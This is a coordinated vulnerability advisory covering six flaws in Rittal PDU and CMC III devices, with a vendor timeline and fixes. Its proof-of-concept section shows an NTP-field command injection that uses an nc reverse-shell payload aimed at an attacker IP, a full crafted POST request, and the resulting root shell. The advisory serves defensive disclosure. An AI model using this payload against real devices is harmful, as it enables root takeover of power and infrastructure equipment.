SEC Consult Vulnerability Lab Security Advisory < 20200708-0 > ======================================================================= title: Multiple Critical Vulnerabilities product: Multiple Rittal Products based on same software, e.g. CMC III PU Compact, CMC III PU 7030.000 PDU (whole portfolio), LCP-CW, IoT Interface 3124.300 vulnerable version: various, see affected versions below fixed version: various, see solution versions below CVE number: CVE-2020-11951, CVE-2020-11952, CVE-2020-11953, CVE-2020-11955, CVE-2020-11956 impact: critical homepage: https://www.rittal.com found: 2019-12 by: J. Kruchem (Office Vienna) C. Svoboda SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Since its foundation in 1961, Rittal has continuously evolved into the world's leading systems provider for enclosures, power distribution, climate control, IT infrastructure and software & services. Today, "Rittal - The System." offers you a perfectly coordinated system platform. It unites innovative productions, pioneering engineering solutions and global service to accommodate the most diverse requirements. It caters to a whole host of industries, from machinery and plant engineering, to the automotive industry, through to information technology. All from a single source, all in top quality." Source: https://www.rittal.com/com-en/content/en/unternehmen/portr_t/unternehmenspr_sentation/Unternehmenspr_sentation.jsp Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately, except for the PDU. There is no date for a patch for the PDU until now and it is unclear if it will be updated ever since a new PDU product will be released. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve potential further critical security issues. Vulnerability overview/description: ----------------------------------- The tested devices consist of several critical vulnerabilities. 1) CLI Menu Bypass (CVE-2020-11952) When connecting via SSH to the PDU/CMC III devices one can configure the devices via a CLI menu. It is easily possible to bypass this menu and break out to the shell on the device. An attacker is then able to access the whole filesystem with the corresponding user accounts used for SSH login and conduct further attacks. 2) Insecure Configuration of System Files (/etc/shadow & /etc/passwd) (CVE-2020-11955) Critical OS files such as /etc/shadow and /etc/passwd are configured in an insecure way. Everybody has full read, write and executable rights for these two files. Therefore, every user who has authenticated / low privileged access to the device could elevate the privileges up to root rights by just manipulating the shadow file. 3) Hard-Coded Root Backdoor Account (CVE-2020-11951) & Weak Password Storage Algorithm The root user account that exists on both PDU and CMC III devices, have the identical password hash within the shadow file. This indicates that once an attacker knows the password, the attacker would have access to several Rittal devices with the highest possible user rights. The root user including the password is not documented publicly. Furthermore, the MD5 hashing algorithm is being used for storing password hashes within the /etc/shadow file. 4) Outdated Software Components The tested devices have several outdated software versions with publicly known vulnerabilities installed. The devices use outdated OpenSSL, Linux kernel and other software components. The outdated versions can also be identified by automatic firmware analysis tools such as IoT Inspector. 5) Command Injection (CVE-2020-11953) / Privilege Escalation The NTP server setting from the web interface of the PDU and CMC III is vulnerable to a trivial command injection vulnerability when changing the IP address settings. The command gets executed as root on the device while the attacker only has to be logged on as pdu or admin user. Info: Fixed in later versions (PDU: V5.15.40/CMC III: V3.15.70_4) This vulnerability is mentioned in this advisory because devices, such as the PDU, are not updated regularly since critical servers are often attached to these PDUs. The vulnerability has been fixed by the vendor in the current firmware releases. 6) Webserver Started as Root (CVE-2020-11956) The webserver runs as root which does not apply to the least privilege principle. Thus, a command injection vulnerability in the webserver would lead to a privilege escalation to root of the whole device. Proof of concept: ----------------- 1 - 4 No PoC because no fix is in prospect to date. 5) Command Injection / Privilege Escalation To exploit the command injection in the NTP configuration perform the following steps (PDU). As a proof of concept, a reverse shell is being started: a) Visit the web interface of either PDU or CMC III and login with default credentials pdu or admin [PIC1] b) Go to "Settings" -> Date/Time [PIC2] c) Enter an NTP Server (it is enforced via JavaScript to only enter numbers and dots) and intercept the request with a web proxy such as Burp. d) Start an nc listener on the attacker's machine: e.g. $ nc -lvp 9999 e) Click "save" and modify the request and add the following proof of concept for the IP address: $(nc <attacker-ip>:9999 -e /bin/sh) The nc syntax may vary depending on the firmware and device. Note: The commands are being run as root! The request would look similar to the following: POST /cgi-bin/json.cgi HTTP/1.1 Host: $deviceIP Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 238 Connection: close Cookie: SaveStateCookie=pu setConfig={"sessionId":1556766739,"configs":[{"option":500,"value":27},{"option":502,"value":"12:58:44"},{"option":503,"value":"10.12.2019"},{"option":504,"value":1}, {"option":505,"value":"xyz $(nc $attackerIP:9999 -e /bin/sh)"},{"option":506,"value":"0.0.0.0"}]} f) Receive the connection and be root: $ nc -lvp 9999 listening on [any] 9999 ... connect to [$IP] from [$IP] 56274 #pwd / #whoami Root 6) Webserver Started as Root see 5. Vulnerable / tested versions: ----------------------------- The following two devices have been tested and found to be vulnerable: *) CMC III PU Compact (CMCIII-PU-9333E0FB) *) PDU 7955.211 (PDU-3C002DEC) The already mentioned and the following products share the same base firmware and are affected as well according to Rittal: *) CMC III PU 7030.000 (V3.15.70_4) *) LCP-CW (V3.15.70_4) *) whole PDU device portfolio (V5.15.40_2) *) IoT Interface 3124.300 (V6.17.00) Vendor contact timeline: ------------------------ 2020-01-21: Telephone conference with vendor & initial vulnerability discussion. 2020-01-24: Vendor provides access to platform for encrypted advisory transmission. 2020-01-30: Sent advisory to vendor. 2020-01-31: Vendor assured to provide feedback in February. 2020-02-19: Asked for status update. 2020-02-26: Vendor answered in detail about affected devices, firmware versions and expected firmware release (April 2020 for CMC & LCP products). 2020-03-05: Providing updated advisory to the vendor, asking for timeline regarding PDU update. 2020-04-29: Asking for PDU update. 2020-05-25: Informing customer that advisory will be released without PoC, since no date for PDU update is within sight. 2020-06-30: PoCs removed for which no fix is available. 2020-07-08: Coordinated release of security advisory Solution: --------- The vendor provides patches or workarounds to their customers. Updated CMC and LCP firmwares can be downloaded under the following link: http://www.rittal.com/imf/none/3_1074/Rittal_7030000_Software_3_1074 No schedule for PDU-updates. 1) CLI Menu Bypass This issue is fixed in firmware versions V_.17.10. 2) Insecure Configuration of System Files This issue is fixed in firmware versions V_.15.70 or higher. 3) Hard-Coded Backdoor Root Account The root account cannot be exploited/used according to Rittal. Since the root password hash could not be cracked it was not possible to test if further exploitation is possible. The weak password storage algorithm is fixed in firmware versions V_.15.70 or higher but the passwords need to be changed once for each user in order to update the algorithm. 4) Outdated Software Components The vendor updates the software components regularly with each patch. The most current libraries will be included in firmware versions V_.17.10. 5) Command Injection / Privilege Escalation To fix the command injection vulnerability in the NTP server update the PDU to V5.15.40 (https://www.rittal.com/at-de/content/de/webspecial/softwareupdate_fuer_pdus.jsp) or the CMC III to V3.15.70_4 (https://www.rittal.com/de_de/rimatrix-downloads/index.asp?kat=security&subk=70) 6) Webserver Started as Root The vendor answered that this issue will be fixed in a future update, but no schedule is available. Version 3.15.70 can be downloaded under: http://www.rittal.com/imf/none/3_1074/Rittal_7030000_Software_3_1074 Workaround: ----------- Restrict access to IoT devices strictly by following network segmentation and configuration best practices & hardening guidelines provided by the vendor. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF J. Kruchem / @2020